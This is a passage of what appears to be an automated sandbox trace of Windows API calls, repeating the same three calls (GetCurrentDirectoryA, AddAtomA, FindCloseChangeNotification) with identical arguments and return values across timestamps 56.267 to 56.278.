nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.267] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.267] AddAtomA (lpString=0x0) returned 0x0 [0056.267] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.268] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.268] AddAtomA (lpString=0x0) returned 0x0 [0056.268] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.269] AddAtomA (lpString=0x0) returned 0x0 [0056.269] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.269] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.270] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.270] AddAtomA (lpString=0x0) returned 0x0 [0056.270] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.271] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.271] AddAtomA (lpString=0x0) returned 0x0 [0056.271] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.272] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.272] AddAtomA (lpString=0x0) returned 0x0 [0056.272] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.273] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.273] AddAtomA (lpString=0x0) returned 0x0 [0056.273] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.274] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.274] AddAtomA (lpString=0x0) returned 0x0 [0056.274] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.275] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.275] AddAtomA (lpString=0x0) returned 0x0 [0056.275] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.276] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.276] AddAtomA (lpString=0x0) returned 0x0 [0056.276] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.277] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.277] AddAtomA (lpString=0x0) returned 0x0 [0056.277] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] 